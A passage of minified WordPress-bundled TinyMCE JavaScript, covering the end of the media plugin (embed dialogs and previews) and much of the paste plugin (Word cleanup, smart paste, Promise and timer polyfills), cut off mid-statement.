r,n,i=e.dom.select("img[data-mce-object]");for(r=0;r<t.length;r++)for(n=i.length-1;0<=n;n--)t[r]===i[n]&&i.splice(n,1);e.selection.select(i[0])}(e,r),e.nodeChanged()},se=function(n){var i,t,e,r,o,a=[{name:"source1",type:"filepicker",filetype:"media",size:40,autofocus:!0,label:"Source",onpaste:function(){setTimeout(function(){B(n,i.toJSON()).then(ce(i,n))["catch"](ae(n))},1)},onchange:function(e){var r,t;B(n,i.toJSON()).then(ce(i,n))["catch"](ae(n)),r=i,t=e.meta,v.each(t,function(e,t){r.find("#"+t).value(e)})},onbeforecall:function(e){e.meta=i.toJSON()}}],c=[];if(m(n)&&c.push({name:"source2",type:"filepicker",filetype:"media",size:40,label:"Alternative source"}),d(n)&&c.push({name:"poster",type:"filepicker",filetype:"image",size:40,label:"Poster"}),h(n)){var u=re(function(e){e(i),t=i.toJSON(),i.find("#embed").value(W(t.embed,t))});a.push(u)}r=(e=n).selection.getNode(),o=r.getAttribute("data-ephox-embed-iri"),t=o?{source1:o,"data-ephox-embed-iri":o,width:X.getMaxWidth(r),height:X.getMaxHeight(r)}:r.getAttribute("data-mce-object")?P(w(e),e.serializer.serialize(r,{selection:!0})):{};var s={id:"mcemediasource",type:"textbox",flex:1,name:"embed",value:function(e){var t=e.selection.getNode();if(t.getAttribute("data-mce-object")||t.getAttribute("data-ephox-embed-iri"))return e.selection.getContent()}(n),multiline:!0,rows:5,label:"Source"};s[oe]=function(){t=v.extend({},P(w(n),this.value())),this.parent().parent().fromJSON(t)};var l=[{title:"General",type:"form",items:a},{title:"Embed",type:"container",layout:"flex",direction:"column",align:"stretch",padding:10,spacing:10,items:[{type:"label",text:"Paste your embed code below:",forId:"mcemediasource"},s]}];0<c.length&&l.push({title:"Advanced",type:"form",items:c}),i=n.windowManager.open({title:"Insert/edit media",data:t,bodyType:"tabpanel",body:l,onSubmit:function(){var t,e;ie(i),t=n,(e=i.toJSON()).embed=W(e.embed,e),e.embed&&G(e.source1)?ue(t,e.embed):B(t,e).then(function(e){ue(t,e.html)})["catch"](ae(t))}}),ne(i)},le=function(e){return{showDialog:function(){se(e)}}},me=function(e){e.addCommand("mceMedia",function(){se(e)})},de=tinymce.util.Tools.resolve("tinymce.html.Node"),he=function(o,e){if(!1===u(o))return e;var a,c=E();return z({validate:!1,allow_conditional_comments:!1,special:"script,noscript",comment:function(e){c.comment(e)},cdata:function(e){c.cdata(e)},text:function(e,t){c.text(e,t)},start:function(e,t,r){if(a=!0,"script"!==e&&"noscript"!==e&&"svg"!==e){for(var n=t.length-1;0<=n;n--){var i=t[n].name;0===i.indexOf("on")&&(delete t.map[i],t.splice(n,1)),"style"===i&&(t[n].value=o.dom.serializeStyle(o.dom.parseStyle(t[n].value),e))}c.start(e,t,r),a=!1}},end:function(e){a||c.end(e)}},L({})).parse(e),c.getContent()},fe=function(e,t){var r,n=t.name;return(r=new de("img",1)).shortEnded=!0,ge(e,t,r),r.attr({width:t.attr("width")||"300",height:t.attr("height")||("audio"===n?"30":"150"),style:t.attr("style"),src:o.transparentSrc,"data-mce-object":n,"class":"mce-object mce-object-"+n}),r},pe=function(e,t){var r,n,i,o=t.name;return(r=new de("span",1)).attr({contentEditable:"false",style:t.attr("style"),"data-mce-object":o,"class":"mce-preview-object mce-object-"+o}),ge(e,t,r),(n=new de(o,1)).attr({src:t.attr("src"),allowfullscreen:t.attr("allowfullscreen"),style:t.attr("style"),"class":t.attr("class"),width:t.attr("width"),height:t.attr("height"),frameborder:"0"}),(i=new de("span",1)).attr("class","mce-shim"),r.append(n),r.append(i),r},ge=function(e,t,r){var n,i,o,a,c;for(a=(o=t.attributes).length;a--;)n=o[a].name,i=o[a].value,"width"!==n&&"height"!==n&&"style"!==n&&("data"!==n&&"src"!==n||(i=e.convertURL(i,n)),r.attr("data-mce-p-"+n,i));(c=t.firstChild&&t.firstChild.value)&&(r.attr("data-mce-html",escape(he(e,c))),r.firstChild=null)},ve=function(e){for(;e=e.parent;)if(e.attr("data-ephox-embed-iri"))return!0;return!1},we=function(i){return function(e){for(var t,r,n=e.length;n--;)(t=e[n]).parent&&(t.parent.attr("data-mce-object")||("script"!==t.name||(r=A(w(i),t.attr("src"))))&&(r&&(r.width&&t.attr("width",r.width.toString()),r.height&&t.attr("height",r.height.toString())),"iframe"===t.name&&a(i)&&o.ceFalse?ve(t)||t.replace(pe(i,t)):ve(t)||t.replace(fe(i,t))))}},be=function(d){d.on("preInit",function(){var t=d.schema.getSpecialElements();v.each("video audio iframe object".split(" "),function(e){t[e]=new RegExp("</"+e+"[^>]*>","gi")});var r=d.schema.getBoolAttrs();v.each("webkitallowfullscreen mozallowfullscreen allowfullscreen".split(" "),function(e){r[e]={}}),d.parser.addNodeFilter("iframe,video,audio,object,embed,script",we(d)),d.serializer.addAttributeFilter("data-mce-object",function(e,t){for(var r,n,i,o,a,c,u,s,l=e.length;l--;)if((r=e[l]).parent){for(u=r.attr(t),n=new de(u,1),"audio"!==u&&"script"!==u&&((s=r.attr("class"))&&-1!==s.indexOf("mce-preview-object")?n.attr({width:r.firstChild.attr("width"),height:r.firstChild.attr("height")}):n.attr({width:r.attr("width"),height:r.attr("height")})),n.attr({style:r.attr("style")}),i=(o=r.attributes).length;i--;){var m=o[i].name;0===m.indexOf("data-mce-p-")&&n.attr(m.substr(11),o[i].value)}"script"===u&&n.attr("type","text/javascript"),(a=r.attr("data-mce-html"))&&((c=new de("#text",3)).raw=!0,c.value=he(d,unescape(a)),n.append(c)),r.replace(n)}})}),d.on("setContent",function(){d.$("span.mce-preview-object").each(function(e,t){var r=d.$(t);0===r.find("span.mce-shim",t).length&&r.append('<span class="mce-shim"></span>')})})},ye=function(e){e.on("ResolveName",function(e){var t;1===e.target.nodeType&&(t=e.target.getAttribute("data-mce-object"))&&(e.name=t)})},xe=function(t){t.on("click keyup",function(){var e=t.selection.getNode();e&&t.dom.hasClass(e,"mce-preview-object")&&t.dom.getAttrib(e,"data-mce-selected")&&e.setAttribute("data-mce-selected","2")}),t.on("ObjectSelected",function(e){var t=e.target.getAttribute("data-mce-object");"audio"!==t&&"script"!==t||e.preventDefault()}),t.on("objectResized",function(e){var t,r=e.target;r.getAttribute("data-mce-object")&&(t=r.getAttribute("data-mce-html"))&&(t=unescape(t),r.setAttribute("data-mce-html",escape(W(t,{width:e.width,height:e.height}))))})},Oe=function(e){e.addButton("media",{tooltip:"Insert/edit media",cmd:"mceMedia",stateSelector:["img[data-mce-object]","span[data-mce-object]","div[data-ephox-embed-iri]"]}),e.addMenuItem("media",{icon:"media",text:"Media",cmd:"mceMedia",context:"insert",prependToContext:!0})};i.add("media",function(e){return me(e),Oe(e),ye(e),be(e),xe(e),le(e)})}(); // Source: wp-includes/js/tinymce/plugins/paste/plugin.min.js !function(v){"use strict";var p=function(t){var e=t,n=function(){return e};return{get:n,set:function(t){e=t},clone:function(){return p(n())}}},e=tinymce.util.Tools.resolve("tinymce.PluginManager"),a=function(t){return!(!/(^|[ ,])powerpaste([, ]|$)/.test(t.settings.plugins)||!e.get("powerpaste")||("undefined"!=typeof v.window.console&&v.window.console.log&&v.window.console.log("PowerPaste is incompatible with Paste plugin! Remove 'paste' from the 'plugins' option."),0))},u=function(t,e){return{clipboard:t,quirks:e}},d=function(t,e,n,r){return t.fire("PastePreProcess",{content:e,internal:n,wordContent:r})},m=function(t,e,n,r){return t.fire("PastePostProcess",{node:e,internal:n,wordContent:r})},s=function(t,e){return t.fire("PastePlainTextToggle",{state:e})},n=function(t,e){return t.fire("paste",{ieFake:e})},g={shouldPlainTextInform:function(t){return t.getParam("paste_plaintext_inform",!0)},shouldBlockDrop:function(t){return t.getParam("paste_block_drop",!1)},shouldPasteDataImages:function(t){return t.getParam("paste_data_images",!1)},shouldFilterDrop:function(t){return t.getParam("paste_filter_drop",!0)},getPreProcess:function(t){return t.getParam("paste_preprocess")},getPostProcess:function(t){return t.getParam("paste_postprocess")},getWebkitStyles:function(t){return t.getParam("paste_webkit_styles")},shouldRemoveWebKitStyles:function(t){return t.getParam("paste_remove_styles_if_webkit",!0)},shouldMergeFormats:function(t){return t.getParam("paste_merge_formats",!0)},isSmartPasteEnabled:function(t){return t.getParam("smart_paste",!0)},isPasteAsTextEnabled:function(t){return t.getParam("paste_as_text",!1)},getRetainStyleProps:function(t){return t.getParam("paste_retain_style_properties")},getWordValidElements:function(t){return t.getParam("paste_word_valid_elements","-strong/b,-em/i,-u,-span,-p,-ol,-ul,-li,-h1,-h2,-h3,-h4,-h5,-h6,-p/div,-a[href|name],sub,sup,strike,br,del,table[width],tr,td[colspan|rowspan|width],th[colspan|rowspan|width],thead,tfoot,tbody")},shouldConvertWordFakeLists:function(t){return t.getParam("paste_convert_word_fake_lists",!0)},shouldUseDefaultFilters:function(t){return t.getParam("paste_enable_default_filters",!0)}},r=function(t,e,n){var r,o,i;"text"===e.pasteFormat.get()?(e.pasteFormat.set("html"),s(t,!1)):(e.pasteFormat.set("text"),s(t,!0),i=t,!1===n.get()&&g.shouldPlainTextInform(i)&&(o="Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.",(r=t).notificationManager.open({text:r.translate(o),type:"info"}),n.set(!0))),t.focus()},c=function(t,n,e){t.addCommand("mceTogglePlainTextPaste",function(){r(t,n,e)}),t.addCommand("mceInsertClipboardContent",function(t,e){e.content&&n.pasteHtml(e.content,e.internal),e.text&&n.pasteText(e.text)})},h=tinymce.util.Tools.resolve("tinymce.Env"),y=tinymce.util.Tools.resolve("tinymce.util.Delay"),b=tinymce.util.Tools.resolve("tinymce.util.Tools"),o=tinymce.util.Tools.resolve("tinymce.util.VK"),t="x-tinymce/html",i="\x3c!-- "+t+" --\x3e",l=function(t){return i+t},f=function(t){return t.replace(i,"")},w=function(t){return-1!==t.indexOf(i)},x=function(){return t},_=tinymce.util.Tools.resolve("tinymce.html.Entities"),P=function(t){return t.replace(/\r?\n/g,"<br>")},T=function(t,e,n){var r=t.split(/\n\n/),o=function(t,e){var n,r=[],o="<"+t;if("object"==typeof e){for(n in e)e.hasOwnProperty(n)&&r.push(n+'="'+_.encodeAllRaw(e[n])+'"');r.length&&(o+=" "+r.join(" "))}return o+">"}(e,n),i="</"+e+">",a=b.map(r,function(t){return t.split(/\n/).join("<br />")});return 1===a.length?a[0]:b.map(a,function(t){return o+t+i}).join("")},D=function(t){return!/<(?:\/?(?!(?:div|p|br|span)>)\w+|(?:(?!(?:span style="white-space:\s?pre;?">)|br\s?\/>))\w+\s[^>]+)>/i.test(t)},C=function(t,e,n){return e?T(t,e,n):P(t)},k=tinymce.util.Tools.resolve("tinymce.html.DomParser"),F=tinymce.util.Tools.resolve("tinymce.html.Serializer"),E=tinymce.util.Tools.resolve("tinymce.html.Node"),R=tinymce.util.Tools.resolve("tinymce.html.Schema");function I(e,t){return b.each(t,function(t){e=t.constructor===RegExp?e.replace(t,""):e.replace(t[0],t[1])}),e}var O={filter:I,innerText:function(e){var n=R(),r=k({},n),o="",i=n.getShortEndedElements(),a=b.makeMap("script noscript style textarea video audio iframe object"," "),u=n.getBlockElements();return e=I(e,[/<!\[[^\]]+\]>/g]),function t(e){var n=e.name,r=e;if("br"!==n){if("wbr"!==n)if(i[n]&&(o+=" "),a[n])o+=" ";else{if(3===e.type&&(o+=e.value),!e.shortEnded&&(e=e.firstChild))for(;t(e),e=e.next;);u[n]&&r.next&&(o+="\n","p"===n&&(o+="\n"))}}else o+="\n"}(r.parse(e)),o},trimHtml:function(t){return t=I(t,[/^[\s\S]*<body[^>]*>\s*|\s*<\/body[^>]*>[\s\S]*$/gi,/<!--StartFragment-->|<!--EndFragment-->/g,[/( ?)<span class="Apple-converted-space">\u00a0<\/span>( ?)/g,function(t,e,n){return e||n?"\xa0":" "}],/<br class="Apple-interchange-newline">/g,/<br>$/i])},createIdGenerator:function(t){var e=0;return function(){return t+e++}},isMsEdge:function(){return-1!==v.navigator.userAgent.indexOf(" Edge/")}};function S(e){var n,t;return t=[/^[IVXLMCD]{1,2}\.[ \u00a0]/,/^[ivxlmcd]{1,2}\.[ \u00a0]/,/^[a-z]{1,2}[\.\)][ \u00a0]/,/^[A-Z]{1,2}[\.\)][ \u00a0]/,/^[0-9]+\.[ \u00a0]/,/^[\u3007\u4e00\u4e8c\u4e09\u56db\u4e94\u516d\u4e03\u516b\u4e5d]+\.[ \u00a0]/,/^[\u58f1\u5f10\u53c2\u56db\u4f0d\u516d\u4e03\u516b\u4e5d\u62fe]+\.[ \u00a0]/],e=e.replace(/^[\u00a0 ]+/,""),b.each(t,function(t){if(t.test(e))return!(n=!0)}),n}function A(t){var i,a,u=1;function n(t){var e="";if(3===t.type)return t.value;if(t=t.firstChild)for(;e+=n(t),t=t.next;);return e}function s(t,e){if(3===t.type&&e.test(t.value))return t.value=t.value.replace(e,""),!1;if(t=t.firstChild)do{if(!s(t,e))return!1}while(t=t.next);return!0}function e(e,n,r){var o=e._listLevel||u;o!==u&&(o<u?i&&(i=i.parent.parent):(a=i,i=null)),i&&i.name===n?i.append(e):(a=a||i,i=new E(n,1),1<r&&i.attr("start",""+r),e.wrap(i)),e.name="li",u<o&&a&&a.lastChild.append(i),u=o,function t(e){if(e._listIgnore)e.remove();else if(e=e.firstChild)for(;t(e),e=e.next;);}(e),s(e,/^\u00a0+/),s(e,/^\s*([\u2022\u00b7\u00a7\u25CF]|\w+\.)/),s(e,/^\u00a0+/)}for(var r=[],o=t.firstChild;null!=o;)if(r.push(o),null!==(o=o.walk()))for(;void 0!==o&&o.parent!==t;)o=o.walk();for(var c=0;c<r.length;c++)if("p"===(t=r[c]).name&&t.firstChild){var l=n(t);if(/^[\s\u00a0]*[\u2022\u00b7\u00a7\u25CF]\s*/.test(l)){e(t,"ul");continue}if(S(l)){var f=/([0-9]+)\./.exec(l),d=1;f&&(d=parseInt(f[1],10)),e(t,"ol",d);continue}if(t._listLevel){e(t,"ul",1);continue}i=null}else a=i,i=null}function j(n,r,o,i){var a,u={},t=n.dom.parseStyle(i);return b.each(t,function(t,e){switch(e){case"mso-list":(a=/\w+ \w+([0-9]+)/i.exec(i))&&(o._listLevel=parseInt(a[1],10)),/Ignore/i.test(t)&&o.firstChild&&(o._listIgnore=!0,o.firstChild._listIgnore=!0);break;case"horiz-align":e="text-align";break;case"vert-align":e="vertical-align";break;case"font-color":case"mso-foreground":e="color";break;case"mso-background":case"mso-highlight":e="background";break;case"font-weight":case"font-style":return void("normal"!==t&&(u[e]=t));case"mso-element":if(/^(comment|comment-list)$/i.test(t))return void o.remove()}0!==e.indexOf("mso-comment")?0!==e.indexOf("mso-")&&("all"===g.getRetainStyleProps(n)||r&&r[e])&&(u[e]=t):o.remove()}),/(bold)/i.test(u["font-weight"])&&(delete u["font-weight"],o.wrap(new E("b",1))),/(italic)/i.test(u["font-style"])&&(delete u["font-style"],o.wrap(new E("i",1))),(u=n.dom.serializeStyle(u,o.name))||null}var M,L,N,B,H,$,W,U,z,V={preProcess:function(t,e){return g.shouldUseDefaultFilters(t)?function(r,t){var e,o;(e=g.getRetainStyleProps(r))&&(o=b.makeMap(e.split(/[, ]/))),t=O.filter(t,[/<br class="?Apple-interchange-newline"?>/gi,/<b[^>]+id="?docs-internal-[^>]*>/gi,/<!--[\s\S]+?-->/gi,/<(!|script[^>]*>.*?<\/script(?=[>\s])|\/?(\?xml(:\w+)?|img|meta|link|style|\w:\w+)(?=[\s\/>]))[^>]*>/gi,[/<(\/?)s>/gi,"<$1strike>"],[/ /gi,"\xa0"],[/<span\s+style\s*=\s*"\s*mso-spacerun\s*:\s*yes\s*;?\s*"\s*>([\s\u00a0]*)<\/span>/gi,function(t,e){return 0<e.length?e.replace(/./," ").slice(Math.floor(e.length/2)).split("").join("\xa0"):""}]]);var n=g.getWordValidElements(r),i=R({valid_elements:n,valid_children:"-li[p]"});b.each(i.elements,function(t){t.attributes["class"]||(t.attributes["class"]={},t.attributesOrder.push("class")),t.attributes.style||(t.attributes.style={},t.attributesOrder.push("style"))});var a=k({},i);a.addAttributeFilter("style",function(t){for(var e,n=t.length;n--;)(e=t[n]).attr("style",j(r,o,e,e.attr("style"))),"span"===e.name&&e.parent&&!e.attributes.length&&e.unwrap()}),a.addAttributeFilter("class",function(t){for(var e,n,r=t.length;r--;)n=(e=t[r]).attr("class"),/^(MsoCommentReference|MsoCommentText|msoDel)$/i.test(n)&&e.remove(),e.attr("class",null)}),a.addNodeFilter("del",function(t){for(var e=t.length;e--;)t[e].remove()}),a.addNodeFilter("a",function(t){for(var e,n,r,o=t.length;o--;)if(n=(e=t[o]).attr("href"),r=e.attr("name"),n&&-1!==n.indexOf("#_msocom_"))e.remove();else if(n&&0===n.indexOf("file://")&&(n=n.split("#")[1])&&(n="#"+n),n||r){if(r&&!/^_?(?:toc|edn|ftn)/i.test(r)){e.unwrap();continue}e.attr({href:n,name:r})}else e.unwrap()});var u=a.parse(t);return g.shouldConvertWordFakeLists(r)&&A(u),t=F({validate:r.settings.validate},i).serialize(u)}(t,e):e},isWordContent:function(t){return/<font face="Times New Roman"|class="?Mso|style="[^"]*\bmso-|style='[^'']*\bmso-|w:WordDocument/i.test(t)||/class="OutlineElement/.test(t)||/id="?docs\-internal\-guid\-/.test(t)}},K=function(t,e){return{content:t,cancelled:e}},q=function(t,e,n,r){var o,i,a,u,s,c,l=d(t,e,n,r),f=function(t,e){var n=k({},t.schema);n.addNodeFilter("meta",function(t){b.each(t,function(t){return t.remove()})});var r=n.parse(e,{forced_root_block:!1,isRootContent:!0});return F({validate:t.settings.validate},t.schema).serialize(r)}(t,l.content);return t.hasEventListeners("PastePostProcess")&&!l.isDefaultPrevented()?(i=f,a=n,u=r,s=(o=t).dom.create("div",{style:"display:none"},i),c=m(o,s,a,u),K(c.node.innerHTML,c.isDefaultPrevented())):K(f,l.isDefaultPrevented())},G=function(t,e,n){var r=V.isWordContent(e),o=r?V.preProcess(t,e):e;return q(t,o,n,r)},X=function(t,e){return t.insertContent(e,{merge:g.shouldMergeFormats(t),paste:!0}),!0},Y=function(t){return/^https?:\/\/[\w\?\-\/+=.&%@~#]+$/i.test(t)},Z=function(t){return Y(t)&&/.(gif|jpe?g|png)$/.test(t)},J=function(t,e,n){return!(!1!==t.selection.isCollapsed()||!Y(e)||(o=e,i=n,(r=t).undoManager.extra(function(){i(r,o)},function(){r.execCommand("mceInsertLink",!1,o)}),0));var r,o,i},Q=function(t,e,n){return!!Z(e)&&(o=e,i=n,(r=t).undoManager.extra(function(){i(r,o)},function(){r.insertContent('<img src="'+o+'">')}),!0);var r,o,i},tt=function(t,e){var n,r;!1===g.isSmartPasteEnabled(t)?X(t,e):(n=t,r=e,b.each([J,Q,X],function(t){return!0!==t(n,r,X)}))},et=function(){},nt=function(t){return function(){return t}},rt=nt(!1),ot=nt(!0),it=function(){return at},at=(M=function(t){return t.isNone()},B={fold:function(t,e){return t()},is:rt,isSome:rt,isNone:ot,getOr:N=function(t){return t},getOrThunk:L=function(t){return t()},getOrDie:function(t){throw new Error(t||"error: getOrDie called on none.")},getOrNull:nt(null),getOrUndefined:nt(undefined),or:N,orThunk:L,map:it,each:et,bind:it,exists:rt,forall:ot,filter:it,equals:M,equals_:M,toArray:function(){return[]},toString:nt("none()")},Object.freeze&&Object.freeze(B),B),ut=function(n){var t=nt(n),e=function(){return o},r=function(t){return t(n)},o={fold:function(t,e){return e(n)},is:function(t){return n===t},isSome:ot,isNone:rt,getOr:t,getOrThunk:t,getOrDie:t,getOrNull:t,getOrUndefined:t,or:e,orThunk:e,map:function(t){return ut(t(n))},each:function(t){t(n)},bind:r,exists:r,forall:r,filter:function(t){return t(n)?o:at},toArray:function(){return[n]},toString:function(){return"some("+n+")"},equals:function(t){return t.is(n)},equals_:function(t,e){return t.fold(rt,function(t){return e(n,t)})}};return o},st={some:ut,none:it,from:function(t){return null===t||t===undefined?at:ut(t)}},ct=(H="function",function(t){return function(t){if(null===t)return"null";var e=typeof t;return"object"===e&&(Array.prototype.isPrototypeOf(t)||t.constructor&&"Array"===t.constructor.name)?"array":"object"===e&&(String.prototype.isPrototypeOf(t)||t.constructor&&"String"===t.constructor.name)?"string":e}(t)===H}),lt=Array.prototype.slice,ft=function(t,e){for(var n=t.length,r=new Array(n),o=0;o<n;o++){var i=t[o];r[o]=e(i,o)}return r},dt=function(t,e){for(var n=0,r=t.length;n<r;n++)e(t[n],n)},mt=ct(Array.from)?Array.from:function(t){return lt.call(t)},pt={},gt={exports:pt};$=undefined,W=pt,U=gt,z=undefined,function(t){"object"==typeof W&&void 0!==U?U.exports=t():"function"==typeof $&&$.amd?$([],t):("undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:this).EphoxContactWrapper=t()}(function(){return function i(a,u,s){function c(e,t){if(!u[e]){if(!a[e]){var n="function"==typeof z&&z;if(!t&&n)return n(e,!0);if(l)return l(e,!0);var r=new Error("Cannot find module '"+e+"'");throw r.code="MODULE_NOT_FOUND",r}var o=u[e]={exports:{}};a[e][0].call(o.exports,function(t){return c(a[e][1][t]||t)},o,o.exports,i,a,u,s)}return u[e].exports}for(var l="function"==typeof z&&z,t=0;t<s.length;t++)c(s[t]);return c}({1:[function(t,e,n){var r,o,i=e.exports={};function a(){throw new Error("setTimeout has not been defined")}function u(){throw new Error("clearTimeout has not been defined")}function s(t){if(r===setTimeout)return setTimeout(t,0);if((r===a||!r)&&setTimeout)return r=setTimeout,setTimeout(t,0);try{return r(t,0)}catch(e){try{return r.call(null,t,0)}catch(e){return r.call(this,t,0)}}}!function(){try{r="function"==typeof setTimeout?setTimeout:a}catch(t){r=a}try{o="function"==typeof clearTimeout?clearTimeout:u}catch(t){o=u}}();var c,l=[],f=!1,d=-1;function m(){f&&c&&(f=!1,c.length?l=c.concat(l):d=-1,l.length&&p())}function p(){if(!f){var t=s(m);f=!0;for(var e=l.length;e;){for(c=l,l=[];++d<e;)c&&c[d].run();d=-1,e=l.length}c=null,f=!1,function(t){if(o===clearTimeout)return clearTimeout(t);if((o===u||!o)&&clearTimeout)return o=clearTimeout,clearTimeout(t);try{o(t)}catch(e){try{return o.call(null,t)}catch(e){return o.call(this,t)}}}(t)}}function g(t,e){this.fun=t,this.array=e}function v(){}i.nextTick=function(t){var e=new Array(arguments.length-1);if(1<arguments.length)for(var n=1;n<arguments.length;n++)e[n-1]=arguments[n];l.push(new g(t,e)),1!==l.length||f||s(p)},g.prototype.run=function(){this.fun.apply(null,this.array)},i.title="browser",i.browser=!0,i.env={},i.argv=[],i.version="",i.versions={},i.on=v,i.addListener=v,i.once=v,i.off=v,i.removeListener=v,i.removeAllListeners=v,i.emit=v,i.prependListener=v,i.prependOnceListener=v,i.listeners=function(t){return[]},i.binding=function(t){throw new Error("process.binding is not supported")},i.cwd=function(){return"/"},i.chdir=function(t){throw new Error("process.chdir is not supported")},i.umask=function(){return 0}},{}],2:[function(t,f,e){(function(n){!function(t){var e=setTimeout;function r(){}function a(t){if("object"!=typeof this)throw new TypeError("Promises must be constructed via new");if("function"!=typeof t)throw new TypeError("not a function");this._state=0,this._handled=!1,this._value=undefined,this._deferreds=[],l(t,this)}function o(r,o){for(;3===r._state;)r=r._value;0!==r._state?(r._handled=!0,a._immediateFn(function(){var t=1===r._state?o.onFulfilled:o.onRejected;if(null!==t){var e;try{e=t(r._value)}catch(n){return void u(o.promise,n)}i(o.promise,e)}else(1===r._state?i:u)(o.promise,r._value)})):r._deferreds.push(o)}function i(t,e){try{if(e===t)throw new TypeError("A promise cannot be resolved with itself.");if(e&&("object"==typeof e||"function"==typeof e)){var n=e.then;if(e instanceof a)return t._state=3,t._value=e,void s(t);if("function"==typeof n)return void l((r=n,o=e,function(){r.apply(o,arguments)}),t)}t._state=1,t._value=e,s(t)}catch(i){u(t,i)}var r,o}function u(t,e){t._state=2,t._value=e,s(t)}function s(t){2===t._state&&0===t._deferreds.length&&a._immediateFn(function(){t._handled||a._unhandledRejectionFn(t._value)});for(var e=0,n=t._deferreds.length;e<n;e++)o(t,t._deferreds[e]);t._deferreds=null}function c(t,e,n){this.onFulfilled="function"==typeof t?t:null,this.onRejected="function"==typeof e?e:null,this.promise=n}function l(t,e){var n=!1;try{t(function(t){n||(n=!0,i(e,t))},function(t){n||(n=!0,u(e,t))})}catch(r){if(n)return;n=!0,u(e,r)}}a.prototype["catch"]=function(t){return this.then(null,t)},a.prototype.then=function(t,e){var n=new this.constructor(r);return o(this,new c(t,e,n)),n},a.all=function(t){var s=Array.prototype.slice.call(t);return new a(function(o,i){if(0===s.length)return o([]);var a=s.length;function u(e,t){try{if(t&&("object"==typeof t||"function"==typeof t)){var n=t.then;if("function"==typeof n)return void n.call(t,function(t){u(e,t)},i)}s[e]=t,0==--a&&o(s)}catch(r){i(r)}}for(var t=0;t<s.length;t++)u(t,s[t])})},a.resolve=function(e){return e&&"object"==typeof e&&e.constructor===a?e:new a(function(t){t(e)})},a.reject=function(n){return new a(function(t,e){e(n)})},a.race=function(o){return new a(function(t,e){for(var n=0,r=o.length;n<r;n++)o[n].then(t,e)})},a._immediateFn="function"==typeof n?function(t){n(t)}:function(t){e(t,0)},a._unhandledRejectionFn=function(t){"undefined"!=typeof console&&console&&console.warn("Possible Unhandled Promise Rejection:",t)},a._setImmediateFn=function(t){a._immediateFn=t},a._setUnhandledRejectionFn=function(t){a._unhandledRejectionFn=t},void 0!==f&&f.exports?f.exports=a:t.Promise||(t.Promise=a)}(this)}).call(this,t("timers").setImmediate)},{timers:3}],3:[function(s,t,c){(function(t,e){var r=s("process/browser.js").nextTick,n=Function.prototype.apply,o=Array.prototype.slice,i={},a=0;function u(t,e){this._id=t,this._clearFn=e}c.setTimeout=function(){return new u(n.call(setTimeout,window,arguments),clearTimeout)},c.setInterval=function(){return new u(n.call(setInterval,window,arguments),clearInterval)},c.clearTimeout=c.clearInterval=function(t){t.close()},u.prototype.unref=u.prototype.ref=function(){},u.prototype.close=function(){this._clearFn.call(window,this._id)},c.enroll=function(t,e){clearTimeout(t._idleTimeoutId),t._idleTimeout=e},c.unenroll=function(t){clearTimeout(t._idleTimeoutId),t._idleTimeout=-1},c._unrefActive=c.active=function(t){clearTimeout(t._idleTimeoutId);var e=t._idleTimeout;0<=e&&(t._idleTimeoutId=setTimeout(function(){t._onTimeout&&t._onTimeout()},e))},c.setImmediate="function"==typeof t?t:function(t){var e=a++,n=!(arguments.length<2)&&o.call(arguments,1);return i[e]=!0,r(function(){i[e]&&(n?t.apply(null,n):t.call(null),c.clearImmediate(e))}),e},c.clearImmediate="function"==typeof e?e:function(t){delete i[t]}}).call(this,s("timers").setImmediate,s("timers").clearImmediate)},{"process/browser.js":1,timers:3}],4:[function(t,e,n){var r=t("promise-polyfill"),o="undefined"!=typeof window?window:Function("return this;")();e.exports={boltExport:o.Promise||r}},{"promise-polyfill":2}]},{},[4])(4)});var vt=gt.exports.boltExport,ht=function(t){var n=st.none(),e=[],r=function(t){o()?a(t):e.push(t)},o=function(){return n.isSome()},i=function(t){dt(t,a)},a=function(e){n.each(function(t){v.setTimeout(function(){e(t)},0)})};return t(function(t){n=st.some(t),i(e),e=[]}),{get:r,map:function(n){return ht(function(e){r(function(t){e(n(t))})})},isReady:o}},yt={nu:ht,pure:function(e){return ht(function(t){t(e)})}},bt=function(t){v.setTimeout(function(){throw t},0)},wt=function(n){var t=function(t){n().then(t,bt)};return{map:function(t){return wt(function(){return n().then(t)})},bind:function(e){return wt(function(){return n().then(function(t){return e(t).toPromise()})})},anonBind:function(t){return wt(function(){return n().then(function(){return t.toPromise()})})},toLazy:function(){return yt.nu(t)},toCached:function(){var t=null;return wt(function(){return null===t&&(t=n()),t})},toPromise:n,get:t}},xt=function(t){return wt(function(){return new vt(t)})},_t=function(a,t){return t(function(r){var o=[],i=0;0===a.length?r([]):dt(a,function(t,e){var n;t.get((n=e,function(t){o[n]=t,++i>=a.length&&r(o)}))})})},Pt=function(t,e){return n=ft(t,e),_t(n,xt);var n},Tt=function(t,e,n){var r=n||w(e),o=G(t,f(e),r);!1===o.cancelled&&tt(t,o.content)},Dt=function(t,e){e=t.dom.encode(e).replace(/\r\n/g,"\n"),e=C(e,t.settings.forced_root_block,t.settings.forced_root_block_attrs),Tt(t,e,!1)},Ct=function(t){var e={};if(t){if(t.getData){var n=t.getData("Text");n&&0<n.length&&-1===n.indexOf("data:text/mce-internal,")&&(e["text/plain"]=n)}if(t.types)for(var r=0;r<t.types.length;r++){var o=t.types[r];try{e[o]=t.getData(o)}catch(i){e[o]=""}}}return e},kt=function(t,e){return e in t&&0<t[e].length},Ft=function(t){return kt(t,"text/html")||kt(t,"text/plain")},Et=O.createIdGenerator("mceclip"),Rt=function(e,t,n){var r,o,i,a,u="paste"===t.type?t.clipboardData:t.dataTransfer;if(e.settings.paste_data_images&&u){var s=(i=(o=u).items?ft(mt(o.items),function(t){return t.getAsFile()}):[],a=o.files?mt(o.files):[],function(t,e){for(var n=[],r=0,o=t.length;r<o;r++){var i=t[r];e(i,r)&&n.push(i)}return n}(0<i.length?i:a,function(t){return/^image\/(jpeg|png|gif|bmp)$/.test(t.type)}));if(0<s.length)return t.preventDefault(),(r=s,Pt(r,function(r){return xt(function(t){var e=r.getAsFile?r.getAsFile():r,n=new window.FileReader;n.onload=function(){t({blob:e,uri:n.result})},n.readAsDataURL(e)})})).get(function(t){n&&e.selection.setRng(n),dt(t,function(t){!function(t,e){var n,r,o,i,a,u,s,c=(n=e.uri,-1!==(r=n.indexOf(","))?n.substr(r+1):null),l=Et(),f=t.settings.images_reuse_filename&&e.blob.name?(o=t,i=e.blob.name,(a=i.match(/([\s\S]+?)\.(?:jpeg|jpg|png|gif)$/i))?o.dom.encode(a[1]):null):l,d=new 